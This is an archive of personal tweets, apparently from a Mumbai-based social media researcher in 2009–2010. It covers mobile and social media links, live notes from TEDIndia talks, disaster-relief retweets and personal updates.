  • I'm reading: The net generation, unplugged | The Economist: CLIP: "Michael Wesch, who pioneered the use of new med… http://bit.ly/9dojHg #
  • wondering if it includes the Mobile Phone – Debunking the Idea of Digital Natives http://icio.us/m1qynj #
  • cooked! http://yfrog.com/4emuttoncutletskababsj #
  • Neighborhood Treasures: Beautiful photo collab @GOOD & @Pictory http://is.gd/9CUSa #urbanism #ethnography [via @brainpicker & @urbandata] #
  • ++ RT @globalvoices: Ugich Konitari from Mumbai shares a wonderful story highlighting the joy of giving. http://bit.ly/aJ0zwP #
  • being brave – just quit firefox which had slowed down with 36 tabs open. without saving ๐Ÿ™‚ #
  • RT @mayankdhingra: Interestingly now SMSGupshup also has an app store: http://is.gd/9EnjC #
  • I'm reading: Putting people first ยป Internet on mobiles: evolution of usability and user experience. PhD dissertat… http://bit.ly/alj6jO #
  • Doctoral Dissertation by Anne Kaikonnen of Nokia on Usability & User Experience of the Mobile Internet http://icio.us/jmytn1 #
  • loved your podcast with Oliver Rajamani @chhavi. what a talent! http://twitter.com/Sonologue/status/9917267781 #
  • RT @hemantmmehta: The Pursuit of Flow – That enthralled state when skills match the challenge : Bruna Matinuzzi http://alturl.com/ptzn #
  • spotted at a traffic light in Bandra – a rare sight these days. Scooter with sidecar loaded with kids. http://yfrog.com/1d67831379j #
  • I'm reading: random thoughts on being an entrepreneur | @gapingvoid: Some of my favourites:
    7. People buy your pro… http://bit.ly/aPUn5O #
  • from 2009 – still, some of the best Holi pictures http://tinyurl.com/bfer69 #
  • Random thoughts are always great! Here r some from @gapingvoid on being an entrepreneur. http://icio.us/hny5rs #
  • saw a v awkward @biz responding to indian twitter celeb qns on ndtv last night. @kjohar25 jokingly asked for a commission for celeb parade! #
  • happy holi! my plan for the day is to read 'Connected' by Nicholas Christakis and James Fowler #
  • RT @acarvin: Building a Twitter list to monitor tweets of possible interest re: Chile quake & tsunami: http://bit.ly/cweJfw #
  • RT @Netra: RT @SangitaSri LIST OF THE COUNTRIES WITH SERIOUS #TSUNAMI #WARNINGS: http://latestnewsalert.com/ #ASIA #PACIFIC #AUSTRALIA #
  • jacket, jeans, boots, coffee, cig, outside a v respectable US hotel, #ineveraskforit (tweet wht u wore when experienced sexual harrassmt) #
  • thanks all!! it feels really good. got me back on twitter too – hv been so AWOL! @patrix its 2.53 Ghz, 4 GB Memory, 13 inch #
  • just got myself a brand new macbook pro :). its super cool!!! my first tweet off it ๐Ÿ™‚ #
  • observation: nos.in a mob can amplify feelings of power, entitlement, rage often unreasonable. hashtags encourage this. mimics real world! #
  • .@mad_nad why do they 'owe' u an explanation on twitter – so long as they've acknowledged the problem & r fixing it?I don't get it really in reply to mad_nad #
  • .@mad_nad for something that happens in the evening & for a company to respond by 10 am the next morning – that's pretty cool na? in reply to mad_nad #
  • .@mad_nad i see their first tweet responding to this was 6 hours ago at approx.10 am. are we expecting the impossible? http://is.gd/7Kth2 in reply to mad_nad #
  • just catching up on tweets tons on #ccdsucks @cafecoffeeday – u rock for reaching out immedly! it too shall pass as most # blitz's #
  • grrrr emirates doesn't think i'm fit to get an emergency exit seat! F, >40 – bad demographic? #
  • hehehe this is funny! RT @parthajha: earlier messiahs would part seas, now they flog hashtags. [via @hemantmmehta] #
  • been thinking abt NLP concepts Mirroring & Anchoring & how useful they can be in developing social platforms & networks. will blog soon! #
  • I've always loved the jazz metaphor! RT @sushobhan: Strategy as Jazz or Symphony http://bit.ly/cAnNVi /via @HarvardBiz. Wonderful analogies #
  • I'm reading: Best Connected Individuals Are Not the Most Influential Spreaders in Social Networks: CLIPS: "…. th… http://bit.ly/aKci0i #
  • Research – Best Connected Individuals Are Not the Most Influential Spreaders in Social Networks http://icio.us/cgpmxr #
  • points nicely made @vijaysankaran What Indian CXO's & Brands Can Learn (re: Social Media engagement ) fm @AnandMahindra http://is.gd/7C0Jc #
  • Submit your brand/organization's Social Media tactics or strategy as a case study at the #IndiaSocial challenge. http://is.gd/7BYwD #
  • .@adityarao310 @goutamsathia all work is client specific so unable to share ๐Ÿ™ will put in case studies at mosoci site which is WIP soon! #
  • all work and no play today :(. immersed in preparing materials for a 4-stage ethnography spanning search-purchase-delivery process #
  • I'm reading: Calling non-USA based women activists: CLIP: "Today I'm proud to announce the BlogHer 2010 Internatio… http://bit.ly/72y8ot #
  • International Activist BlogHer Scholarship | @BlogHer. Last date Jan 31st. http://icio.us/y5enow #
  • User-centred innovation or Design-centred innovation? incremental steps or radical innovation? safety or risk? http://is.gd/7hJOb #
  • RT [ed] @ashoklalla: Interesting take & comments on what online engagement can achieve (n not achieve) for brands http://bit.ly/cACXvN #
  • .@shefaly check out ethnomedia.pk. its an ngo in pakistan using anthropology for development. @shefalyhttp://is.gd/79bwK #
  • I'm reading: A New Mobile Radar concept from Nokia Research Centre | via @tsuvik: Make sure you check out the vide… http://bit.ly/cQVrCP #
  • A New Mobile Radar concept from Nokia Research Centre | via @tsuvik http://icio.us/thh3id #
  • selecting quotes & logging in timecodes from videos of groups last week for my client. tedious task but output is sweet. #marketresearch #
  • The Elevator Pitch for Enterprise 2.0 – ReadWriteEnterprise & Tech IT Easy http://icio.us/fo0j0j #
  • interesting project, very cool Infographics from Nicholas Feltron http://is.gd/716U7. based on meaningful interactions he had in a year. #
  • .@robpatrob clueless! the guy classifies all tweets as "branding tweets, traffic tweets, or informational" http://twurl.nl/6x7b8i @jbowles in reply to robpatrob #
  • I'm reading: Mattel takes innovation to the dogs with its Puppy Tweets: CLIP: "Puppy Tweets is a plastic tag with … http://bit.ly/79i1sM #
  • Puppy Tweets | Even your Chihuahua can tweet! http://icio.us/ltt2bs #
  • me too :). RT @jackerhack: http://ping.fm/p/6t2Lq – I'll have my eggs with bone, please. in reply to jackerhack #
  • believe in Internet freedom? support blogger @waelabbas, sentenced in Egypt. what u can do fm @alaa http://is.gd/6UZsH http://is.gd/6UZvK #
  • .@beastoftraal @b50 my key grouse w @virsanghvi is he assumes becoz bloggers n tweeters hv opinions we r arrogant, elitist & not grounded #
  • .@beastoftraal loved it too http://bit.ly/86qQk3. @virsanghvi must realize this bloggers vs journos issue is old old old. get over it! in reply to beastoftraal #
  • I'm reading: Smartphones Market: CLIP: "For more from Tomi this is a 30min video that makes the case for the next … http://bit.ly/6KgDLf #
  • priceless: my lil 6 yr old nephew picks up my perfume bottle – Ultraviolet and says it smells of a rainbow! #
  • .@manuscrypts – Brands live publicly & desire publicity almost by definition. People may or may not. Both want http://bit.ly/8gCV7I #
  • Another illuminating post on privacy, publicity, privilege, economics and Facebook by @zephoria: http://bit.ly/8fnamn /via @chrismessina #
  • RT @GautamGhosh: In the #oldays Being Slashdotted was the aspiration for all tech bloggers. #
  • 2010 Bloodbath for SmartPhones | great comments fm @stuarthenshall in response to bloodbath for smartphones http://icio.us/x20has #
  • long yet interesting via @janchip: 2010: A Bloodbath in Smartphones? Review of the coming carnage by T Ahonen http://bit.ly/pi_deathmatch #
  • via @leplan http://icio.us/s5ndvz #
  • fm @hemantmmehta who's stuck in delhi 24hrs: sensitive authorities:Fog clears & runway shut 4 IAF Republic Day practice. To hell w citizens! #
  • an insightful knife to #socialbusiness & a case for real time delivery by @stuarthenshall. http://is.gd/6InLl & http://is.gd/6InUg #
  • my flight was delayed only by two hours yesterday @prolificd. @hardik and @shiladitya all the best with your flights! in reply to prolificd #
  • On board. Doors closed. Taxiing out. A 1.5 hour delay. Hope none at the Delhi end!! #
  • Delhi is fogged out. Long long delays. At the airport just waiting. Hope I get to Delhi in time for my group discussion this evening. #
  • I'm reading: Go thataway: Google Maps India learns to navigate like a local: Much better Googlemaps!! CLIPS: We fo… http://bit.ly/8wFLns #
  • Go thataway:Google Maps India learns to navigate like a local | via a post fm @krrish's http://tinyurl.com/yclguak. http://icio.us/rhrq1h #
  • I'm reading: How to Build Scenarios – with egs of Wired scenarios: CLIP: Scenario planning derives from the observ… http://bit.ly/6JAyTi #
  • who are you Merlia, and why should I? http://yfrog.com/3l9k3hp #
  • I just posted: links for 2010-01-18 http://dinamehta.com/blog/2010/01/19/links-for-2010-01-18/ #
  • I'm reading: Global Voices Online ยป A Global Look at Anti-Corruption Day | cool initiative. Reminded me of Shaffi … http://bit.ly/5X0aMA #
  • social media guru at work http://is.gd/6wxuj . can't tell who the joke's really on ๐Ÿ™‚ #
  • Brilliant! RT @shefaly: Laugh-a-minute. RT @neo_indian 10 things Google users really want to know about India http://bit.ly/7kXDcK #
  • RT @chuckfrey: 8 recommended books on visual thinking: http://ow.ly/WMqG #mindmap #creativity #
  • My stress test for websites. Does every page a)communicate difft thoughts b)tell clients why they shd 'buy' c)position u uniquely. Yours? #
  • I just posted: Crisis Management Tips for Enterprise 2.0 http://dinamehta.com/blog/2010/01/15/crisis-management-tips-for-enterprise-2-0/ #
  • RT @futurescape & othersyou might be interested in a short piece by Ken Anderson (Intel) on ethnography for strategy http://bit.ly/5S4CdM #
  • real innovation! RT @stuarthenshall: The economist isn't particularly encouraging w outlook fr Nokia http://j.mp/69Fy2d | What's yr answer? #
  • I'm reading Virtual ethnography – by Christine Hines. submitted by playnice_nz http://bit.ly/7NJbVO [via @howdous ] #
  • I just posted: links for 2010-01-13 http://dinamehta.com/blog/2010/01/14/links-for-2010-01-13/ #
  • Horrific pix covering the Earthquake in Haiti at The Big Picture – http://tinyurl.com/yaqfejh [via @inkv] #
  • RT @GregElin: http://crisiscommons.org/wiki/index.php?title=Haiti/2010_Earthquake #
  • :):):) RT @jevon: This Google.cn thing means that every social media guru is now a world political pundit as well. Lurve it. #
  • RT @ushahidi: RT @mikel: OpenStreetMap response to Haiti Quake, pls contribute http://is.gd/6aDtW. Check editing live http://is.gd/6bYMU #
  • RT [ed] @ushahidi: Ushahidi #Haiti Update: Int'l # now available for SMS, +44 7624802524. Please RT! #haitiquake #
  • Google & @globalvoices Breaking Borders Awards in Tech & freedom of exp, Activism,Policy. Submn: Feb 15. Prize: $10K . http://is.gd/6bqKM #
  • some nice social media infographics here [via email from @fn] http://is.gd/6bpYn #
  • "The illiterate of the 21st century will not be those who can't read & write, but those who can't learn, unlearn, & relearn." A Toffler #
  • I'm reading: The Children of Cyberspace A New World | this is vintage @robpatrob !: CLIP: "I got my first computer… http://bit.ly/6mlEm6 #
  • Politicians – Public vs Private in the age of Social Media RT @GautumGhosh @sushobhan: @virsanghvi on @ShashiTharoor http://bit.ly/5jdqG1 #
  • Nice one from @stuarthenshall & @scobleizer: Fixes & ideas for Twitter | what @scobleizer and I think. #13points http://bit.ly/4orp65 #
  • I just posted: Twitter & Maslow's Hierarchy of Needs … nay … Hierarchy of #Tweets http://bit.ly/7tLegQ #
  • I just posted: links for 2010-01-11 http://dinamehta.com/blog/2010/01/12/links-for-2010-01-11/ #
  • RT @dhinchcliffe: Can an organization not be โ€˜readyโ€™ for Enterprise 2.0? http://bit.ly/6kOybs. great qn & so relevant! http://is.gd/649T9 #
  • I'm reading: Social Media in India: 7 Findings from 2009, 7 Wishes for 2010 | S.M.A.R.T objectives @sm63: CLIPS: "… http://bit.ly/78MjsJ #
  • .@gkjohn thanks! lots of familiar stuff. liked the reporting at engadget even more :). Nokia CES Keynote http://bit.ly/7wPGT2 in reply to gkjohn #
  • I just posted: India Inc – wake up! Social Networking's here to stay. http://bit.ly/7jBRls #
  • I just posted: links for 2010-01-10 http://dinamehta.com/blog/2010/01/11/links-for-2010-01-10/ #
  • I'm reading: "Do you See What I See?: Visibility of Practices through Social Media" from @zephoria: danah boyd dis… http://bit.ly/8kTqTJ #
  • I'm reading: 6 reasons to encourage enterprise conversations with collaborative platforms ยซ Heavy Mental: A nice c… http://bit.ly/6oH1Z0 #
  • .@vijaysankaran @morfinrider @futurescape hehe you guys are funny!! it's snapbird.org … not songbird ๐Ÿ™‚ in reply to vijaysankaran #
  • Neat. Snapbird.org. lets u search all yr twitter archives for keywords. eg. i searched "mumbai" in my tweets & found over 215 tweets ๐Ÿ™‚ #
  • tips to counter Slacktivism a. Slackers out. b. Create smart tasks c. Don't OD on wikipedia model. @evgenymorozov tedtalk http://is.gd/5O6oD #
  • .@SameerPatel loved your post building IS strategy http://ow.ly/SO9v. we must meet when you're here !! in reply to SameerPatel #
  • looking for Thesis Theme (WordPress) designers for a few sites for us. pls contact me here, or at dina @ mosoci . com. thanks! #
  • thanks to @stuarthenshall installed Thesis theme into my blog. It's neat. Would love yr feedback – http://is.gd/5NPPV. #
  • I'm reading: The Facebookisation of the enterprise | a well-written thought piece from @jobsworth: JP is on fire! … http://bit.ly/8kovan #
  • New blog post: links for 2010-01-05 http://dinamehta.com/blog/2010/01/06/links-for-2010-01-05/ #
  • ebayindia TVCs with faces fm the past. r they serious? insight? idiom? they're not even funny. http://is.gd/5MOrt. u were rt @hemantmmehta #
  • cranking up my old radio blog. now at http://dinamehta.com/radio/. new URLs for categories, but not indiv posts. comments, trackbacks dead! #
  • Aircel and Helpage – Donate old phones to elderly in homes. Nice TVC too. http://is.gd/5MvSf . [via @stuarthenshall http://is.gd/5MvU ] #
  • .@mrblog: Smartphone research & Nokia isn't even on the list. US figures I'm sure! Will be diff in Europe & Asia. Still! http://is.gd/5MujQ #
  • are u aware of any statistics on the size of the blogosphere in different countries? technorati reports r not great. #
  • New blog post: links for 2010-01-04 http://dinamehta.com/blog/2010/01/05/links-for-2010-01-04/ #
  • I'm reading: Logic+Emotion: Do You Live Social? | a great question to ask managers engaging in social media activit… http://bit.ly/6aWLka #
  • New blog post: links for 2010-01-03 http://dinamehta.com/blog/2010/01/04/links-for-2010-01-03/ #
  • It feels good to be back at xaviers. Here's a picture. http://twitpic.com/wi5kb #
  • hehe. just spoke to mum & mentioned I'm off to the xavier's alumni do. she's going too – she's an alum & her friend's getting an award! #
  • I'm reading: 5 Forecasts and 7 Predictions For 2010-2020 That Shape Innovation And Economic Growth – BusinessWeek: … http://bit.ly/5L34HT #
  • I'm reading: What you can learn from consumers' digital decade | sez marketers are the slowest to move!: But what y… http://bit.ly/8IZKFz #
  • RT @zigzackly: on idjuts and idjucy: http://zigzackly.blogspot.com/2010/01/idjut-ramblings.html #
  • Lifestreaming aka 2002 http://is.gd/5KqsI. looking forward to reading your take on what's changed, what remains today @stuarthenshall! #
  • New blog post: Gogola to Googlle – yet another Google line extension in India?? http://bit.ly/91t02t #
  • am going to the St. Xavier's alumni dinner at the college tonight with a few friends from my batch of '88. anyone else coming?? #
  • New blog post: Restructuring time and space – thought for the day http://bit.ly/7Uvign #
  • Happy New Year to my wonderful friends. Goodbye to the painful parts, celebrating the joys of the last decade. Renewal, hope, peace & joy. #
  • did you see the moon last night? it was so beautiful. tonight's a full moon – a good omen for 2010? #
  • RT @timepass & others:India forcin MS,Yahoo 2 turn prudish on porn http://bit.ly/91iWfZ But policemen gettin away w molestin young girls OK #
  • back to khandala till Sunday. was there last week too. if anyone's coming to khandala/lonavala give me a shout & drop in!! #
  • I did too – RT @UrmiRaj14: I just voted for @asfaq & friends as part of the Mid-Day Twitter Indian of the Year poll http://bit.ly/4uFD9f #
  • TV news channels can be so funny – breaking news – @shashitharoor Tweets Again. This one they can't claim as a Times Now exclusive tho ๐Ÿ™‚ #
  • RT @futurescape: Masters of illusion: The great management consultancy swindle http://bit.ly/8ogOJf (via @emergingfutures) #
  • nice one ๐Ÿ™‚ @stuarthenshall: Is Your Mobile Changing Your Bedtime? http://g6ryk.th8.us #
  • This is cool. A solar lamp to charge your mobile http://is.gd/5aGUc [via @aparnaray] #tedindia …. jugaad at work! #
  • A look into the future. A Nokia future. http://is.gd/54vYn [via @kiwanja] #
  • The world's 10 fattest countries. http://bit.ly/7z8FiH [via @lisang] #
  • thanks thanks thanks you all for all the birthday wishes, and for helping me with my little research on advertising! #
  • New blog post: 26/11 – the more we change, the more we remain the same http://bit.ly/6WNiMS/ #
  • New blog post: Advertising using the route of rites of passage – Twitter responses http://bit.ly/7RzY32/ #
  • thanks for the suggestions – keep em coming :). need egs of advertising anchored in rites of passage eg. wedding, baby, graduation etc. #
  • need egs of advertising anchored in rites of passage – rituals assocd w transitional points – eg. grad'n, wedding, baby… help pls!!! #
  • +++ RT @calamur: 26/11 โ€“ just another dateโ€ฆ. http://ff.im/-c1BVm #
  • media obsession w 26/11 drives me nuts. asked for interviews on rah-rah social media. often its just things we do. not special. no heroes #
  • New blog post: links for 2009-11-24 http://dinamehta.com/blog/2009/11/25/links-for-2009-11-24/ #
  • I'm reading: "Streams of Content, Limited Attention: The Flow of Information through Social Media" .. http://bit.ly/2V0iRk #
  • "The total subscriber base for all telephony services in India reached 525.65 Million at the end of October" http://is.gd/51Qxu #
  • .@timepass that's a great idea!! also like @nixxin's suggestion about listing action-inaction since 26/11 @b50 #2611neverforget in reply to timepass #
  • idea cellular's #talkforindia for #2611neverforget – CSR in action?? Too much talk & no action. Mebbe i'm getting old! http://is.gd/51PSt #
  • idea cellular #
  • New blog post: links for 2009-11-21 http://dinamehta.com/blog/2009/11/22/links-for-2009-11-21/ #
  • I'm reading: Gartner โ€“ From Wow to Shallow Thinking on Mobile Futures | @stuarthenshall i like the .. http://bit.ly/7RxkFp #
  • I'm reading: The War For the Web – O'Reilly Radar | a good read from @timoreilly: Some interesting .. http://bit.ly/1b2SeP #
  • New blog post: links for 2009-11-19 http://dinamehta.com/blog/2009/11/20/links-for-2009-11-19/ #
  • Watch this documentary – Channel 4 filmmaker Dan Reed 's The Truth Behind The 26/11 Mumbai Attacks | http://ow.ly/1mItkn [via @acorn] #
  • I joined twitter on 8 November 2006 – http://whendidyoujointwitter.com ? #
  • BBC in Bangladesh: Learn English on your Mobile http://bit.ly/3NU3PJ [via @twilightfairy] #
  • .@vijaysankaran there's a link on http://informationactivism.org for screening. in reply to vijaysankaran #
  • I'm reading: BSNL, EnableM & OnMobile Launch Learn English: The Opportunity | MediaNama – thanks fo.. http://bit.ly/17LBS3 #
  • RT @rahulnambiar: http://tinyurl.com/yk4q5kw Exactly! Customer Engagement is not a one way street.. By @rimeswithcya #
  • 10 Tactics for turning information into action – if u'd like to host screening in mumbai in Dec lemme know? http://is.gd/4YzrO #
  • New blog post: Social Media – WTF? http://dinamehta.com/blog/2009/11/19/social-media-wtf/ #
  • I'm reading: Free! Why $0.00 Is the Future of Business – Chris Anderson | or is it? makes me think!.. http://bit.ly/W0Yvx #
  • I'm reading: The Good Enough Revolution: When Cheap and Simple Is Just Fine | via @pree: CLIP: &quo.. http://bit.ly/185jbb #
  • New blog post: links for 2009-11-16 http://bit.ly/BpT9T #
  • I'm reading: An Increasingly Affluent Middle India Is Harder to Ignore – India Knowledge@Wharton: S.. http://bit.ly/3OPFoV #
  • Techtree lists redundant features in mobile phones http://lin.cr/0ft5 [via @aalaap] #
  • New blog post: links for 2009-11-13 http://bit.ly/19csxS #
  • Mobile social networkers to top 600 million subscribers worldwide by 2013. Insights (and figures): http://tr.im/ETu4 (via @ffuturescapes) #
  • I'm reading: Storylistening for Consumer Insight – AMSRS: CLIPS: "A recent poll stated that wo.. http://bit.ly/ot1aD #
  • +++ gr8 links fm @stuarthenshall: Great write-up by @janchipchase on his mobile work and mobile money. Download PDF http://twurl.nl/blh6ws #
  • +++ RT @stuarthenshall: I reread @docsearls "Beyond Social Media" today and the comments were worth going back for. http://twurl.nl/q2qjiw #
  • RT @zigzackly: #CelebrateBandra writing workshop for kids this weekend, by Anshumani Ruddra: http://bit.ly/12ww32 #
  • New blog post: links for 2009-11-12 http://bit.ly/13Z8Oi #
  • I'm reading: My Impressions of TED India | @amitvarma's impressions of TEDIndia: Here's a Clip.. http://bit.ly/1Zg7nD #
  • what TED didn't get abt India – http://is.gd/4Sx0L Manjeet sez "This TED conference was more โ€œBono Saves the Worldโ€ than either T or E or D" #
  • just woke up – a lazy morning after what seems aaaaaages! #
  • .@Piyul @ShilpikaDas @Ankit_A it was sweet. & surprisingly insightful. love his door handle & ashtray expressions http://bit.ly/2WHl4e in reply to Piyul #
  • New blog post: A six-year old's view of the world! http://bit.ly/2WHl4e #
  • En route to Delhi with an autographed copy of @amitvarma's My Friend Sancho #
  • New blog post: My Lazy TEDIndia Post http://bit.ly/3NHOuR #
  • dealing with 240 requests on facebook! haven't been there in aaaaaages #
  • RT @Shadez : Blood required.ANY blood group. Donate @ Lilavati Hospital(Bandra-west)tomorrow between 9am to 1pm.Contact Aparna:9867044319. #
  • RT @evgenymorozov: 15 Megabytes of Fame: insightful essay about the online viral culture in today's FT http://bit.ly/3VQaUV #
  • wow – Threatened Voices – fm Global Voices Online Advocacy http://is.gd/4PJer . Tracking cases of threatened/arrested bloggers +++ @ifikra #
  • well done #tedindia blog and social media team! "TEDTalks will be available starting mid-november" http://is.gd/4PIaR #
  • oddly enuff, many of the BIG names were in the latter group – disappointing. #tedfellows pre-conference truly gr8. will blog later #tedindia #
  • talks i loved – those that came thru w raw honesty. disappointed when projects pitched w'out extracting big pic & some 'same old' #tedindia #
  • overall thoughts on #tedindia – transformational for some, inspiring to others. for me utterly humbling & I made many super new friends #
  • feels strange being back after #tedindia and having to shift modes so rapidly. working on a research presentation & off to delhi for monday #
  • oieee TED is almost over … a bunch of us are leaving on the 1 pm bus for bangalore. so pack-up time real soon #tedindia #
  • india is a nationalism of an idea that has emerged long ago – consensus in diversity is how we move into 21st C #tedindia @shashitharoor #
  • Tharoor – the story also rests on political will – secular india & how we've embraced religions of the world. a (ra-ra moment) #tedindia #
  • the country that tells the better story wins! (i so agree – and our stories are also in our pop culture). #tedindia @shashitharoor #
  • afghanistan – most popular TV serial – Kyonki Saas Bhi Kabhi Bahu Thi – eg. of soft power. lots of popculture egs. @shashitharoor #tedindia #
  • .@shashitharoor tells stories interestingly. empowerment of the poor is the real achievement of communications #tedindia #
  • thanks for all the shout-outs for my tweeting from #tedindia ๐Ÿ™‚ #
  • the cell phone 15 mn/month story – what did we have to do to get there.!! talks of growing up w'out one. #tedindia @shashitharoor #
  • soft power emerges partly because of govt but partly despite it #tedindia @shashitharoor sez #
  • talking of india's potential in the 21st century – the Future Beckons – soft power #tedindia #
  • lakshmi also sez @shashitharoor singlehandedly made twitter popular in india. ???. #tedindia #
  • Lakshmi apologizes to tweeters following @shashitharoor for late start #tedindia #
  • A. Balasubramanium – artist, sculptor, painter, printmaker on stage – work here – http://is.gd/4PmVM & http://is.gd/4PmZL #tedindia #
  • lol sivamani doesn't spare a suitcase – he's making it sing! wonder if brand managers r watching – sponsorship opps galore :):):) #tedindia #
  • he's using everyday items – pans, empty 10 litre water bottle etc. sheer genius – Sivamani #tedindia #
  • sivamani is awesome! hope all u tweeters r watching the livestream. @shashitharoor will be on later. http://ted.indiatimes.com/ #tedindia #
  • he irony is that so many years of denying being a girl has led us here!! eve ensler #tedindia #
  • being a girl is so powerful that we've had to train everyone not to be a girl. Eve Ensler #TEDIndia #
  • Eve Ensler – playwright and activist – best known for The Vagina Monologues is on!! http://en.wikipedia.org/wiki/Eve_Ensler #tedindia #
  • Matthew Spacie – talking of rugby being an institutionalized safety valve. And Play as a way to learn. Sport teaches u abt life! #TEDIndia #
  • Matthew Spacie – a #TEDFellow – Magic Bus – http://www.magicbusindia.org/ #
  • Riverside school url http://www.schoolriverside.com/. #
  • if the city gives to the children, in the future, children will give back to the city #tedindia #
  • in Ahmedabad – how did the city respond to the school? every other month – biggest street closes down & infected by kids playing #tedindia #
  • kid said – teacher told me "i can do it" – but parents said what abt grades?? kids actually did v v well in math eng and science! #tedindia #
  • Kiran Sethi – aware (see the change), enable (being changed), empower (leading change) = "i can" – infect children with this bug #tedindia #
  • Kiran Bir Sethi Riverside School. Contagious is a good word – laughter, passion, inspiration – infected by "i can" bug! #tedindia #
  • Aravind Eye Care – Fastcompany article here – http://www.fastcompany.com/magazine/43/drv.html #tedindia #
  • disappointed w session – where's the new way of learning in all this? eg. ask questions faster, stories, dialogue, real-time etc?. #tedindia #
  • "eye care with the efficiency of macdonalds" – deliver eye care like a burger??? heh! Aravind Eye Clinic – #TEDIndia #
  • CK Prahalad is talking of mobile revolution now!. Didn't say too much we haven't seen. Wish he had focussed on stories of change #tedindia #
  • Interview w CK Prahalad on how bottom of the pyramid strategies are paying off. mobile phones as an eg. #tedindia . Link -http://is.gd/4PjBV #
  • CK – 4. multilevel dialogue. 5. Knowledge creation. all thru access to connectivity, information, analytics, dialogue, assessment #tedindia #
  • CK – how to democratize learning? a. eliminate info asymmetries, b. give access to analytics, c. make access affordable & avail, #tedindia #
  • CK – for the first time in history, everyone has access (cell phones eg.) leads to democratized learning. #tedindia #
  • CK – instead of having an institutions view of citizens have a citizens view of institutions – facilitated by tech and internet. #tedindia #
  • CK – how do we change – break down hierarchical power structure becos pple hc access to information and can challenge each other #tedindia #
  • CK – why do gr8 companies lose leadership – becoz cant excape the past or create the future. mistake momentum for leadership #tedindia #
  • multiple discontinuities challenge mental models – learning is abt selectively forgetting the past & refuelling for the future. #tedindia #
  • CK Prahalad – discontinuities egs. eg. suddenly deal w 5 bn pple on less than 2 USD a day OR 400 mn connected by mobile phones #tedindia #
  • CK Prahalad – success has its own learning disabilities built into it . Discontinuities disrupt the process! #TEDIndia #
  • social determinants to learning impt. learning must lead to change. information –>inference (educ + socialization –> Action #TEDIndia #
  • CK Prahalad on!!! #tedindia I want to separate teaching fm learning. learning does not take place in isolation – we're part of a social grp #
  • Sashwati – "if we can't reach them, we can't teach them" – mobile & wireless tech will bridge the gap. with engaging content. #tedindia #
  • looking forward to C.K. Prahalad's talk. Galli Galli Sim Sim – Shashwati Banerjee of Sesame Street Workshop on now. #TEDIndia #TEDFellows #
  • wow #TEDFellows get a Nokia E71 and a 1500 USD cash card among other things! pays for my new macbook :):):) #tedindia #
  • Hehe. The bollywood party continues in the bus back. #tedindia rocks. http://twitpic.com/oi3wi #
  • Last song at #TEDindia Grand Party at Lalit Palace Mysore. Bollywood Nite. Jai Ho! http://twitpic.com/ohvo2 #
  • Abhay Deol – thinking woman's eye candy (paraphrased by Shandana). He's cute. And seems a lil nervous #tedindia #
  • E3it. Engage entertain educate immerse transform. It's his mantra. Cost him 250 USD. He's a dude!!! Rocking #tedindia #
  • RT @tedindia: TED's June Cohen invites you to join the TED Open Translation Project http://bit.ly/2yFqSF #TEDIndia #
  • E3it. Engage entertain educate immerse transform. It's his mantra. Cost him 250 USD. He's a dude!!! Rocking @tedindia #
  • Digital Hampi. Travel to hampi. Ramachandra Budihai takes us there on his augmented reality headset! #tedindia http://twitpic.com/ogteb #
  • A familiar sight at #tedindia queing up for the vest seats in the house http://twitpic.com/ogrr6 #
  • Loved Kavita Ramdas. On feminism – there's no need to lose yr femininity or yr traditions. SHE (woman) rocks & can be on top. #tedindia #
  • Experienced a real TEDmoment in the last session. Magical. Collective. Worth being here even if just for that. Thanks #tedfellows #tedindia #
  • What can civil society do? Accept and embrace victims of human trafficking in our daily lives. And tell 2 friends. #tedindia #
  • Touched by Sunitha Krishnan of Prajwala. rebuild faith in victims of human trafficking. 1person changes life of 10 people. #tedindia #
  • Rapid transformation impt for rapid diffusion. Esp w mess we r in. Often best solutions cone in v lil time. Agility. Banerjee #tedindia #
  • RT @infosys: Banny Banerjee: reframing insights -> concepts – > prototypes – > new paradigms in design that r solutions to probs. #TEDIndia #
  • .@jerrymichalski I've been guilty of it too!!! We learn :). #tedindia #tedfellows in reply to jerrymichalski #
  • The simulcast lounge is cool. V v comfy. Here's a pic. #tedindia #tedfellows http://twitpic.com/og7l7 #
  • For me best part of the last session was Bribe Buster idea. Wish the others had moved to the ideas space more than showcase work. #tedindia #
  • Anil Gupta – scalability must not become the enemy of sustainability. Shows egs of innovations fm grassroots to global #tedindia #tedfellows #
  • Anil Gupta knocks maslow's hierarchy of needs out of the stadium! Don't have to go thru levels fr self actualisation. #tedindia #tedfellows #
  • Anil Gupta -honeybee network. To learn fm & support grassroots innovation. Minds on the margin are not marginal minds. #tedindia #tedfellows #
  • .@shaffimather totally loved the bribe busters thought. Let us know how civil society can help. #tedindia #tedfellows #
  • RT @pkgulati: Shafi at @tedindia – we are insane people and an insane person does not know what's an impossible task !! #tedindia #
  • New idea. How to fight the demand for a bribe!! Call in the Bribe Busters Dial …… Nice :):) Shaffi Mather. #tedindia #tedfellows #
  • Shaffi Mather. Ambulance service. Dial 1298. Similar to 911. Furst on scene on 26/11. Was at Jugaad workshop Y'day. #tedindia #tedfellows #
  • Dr Asher Hassan. Main Bhi Pakistani Hoon. (I too am Pakistan). Sharing stories of normal people thru photos. #tedindia #tedfellows #
  • RT @bcampbelljr: Idea from TEDIndia – write your obituary. If you don't like the way it reads, change your life – now. #tedindia #
  • Quite inspirational!! Q- one key idea to spread ? Shukla Bose A- educate the teachers!!! #tedindia #tedfellows #
  • Content of education is education. Not necessarily things like toilets. Take one child at a time and unleash her potential. #tedindia #
  • 98% of fathers r alcoholic. An ex-maid was of 28 kids selected for Duke's scholarship. These kids r using facebook! #tedindia #tedfellows #
  • Showed videos of kids of roadside flower seller talking of hardy boys and ducatis. Kids teach their parents. ICSE curriculum. #tedindia #
  • Dream is to prepare kids to live peacefully in this conflict-ridden global world. English medium. #tedindia #tedfellows #
  • What?? Her research found one out of four teachers in slum schools donot go to school all yr!! Educating poor > a numbers game #tedindia #
  • Shukla bose- 3 schools for poor kids. 26 yrs in corporate world. Quit. 2003 started Parikrama fm kitchen table. #tedindia #tedfellows #
  • Q fm @tedchris.how do u get yr insights working in villages on ground?? A- test it first & refine. Iterative process. #tedindia #tedfellows #
  • Need to combine psychology marketing art and the scientific method. On the verge of a new social science – Sendhil #tedindia #tedfellows #
  • Intentions don't always translate into actions. Last mile problem shd be talked of as last mile opportunity. #tedindia #tedfellows #
  • Sharing puzzles w us. We hv intuitive ways of dealing w the world. For Last mile problems our mental models may not always work. #tedindia #
  • Sendhil mullainathan on stage. How people make choices and decisions. #tedindia #tedfellows http://twitpic.com/ofray #
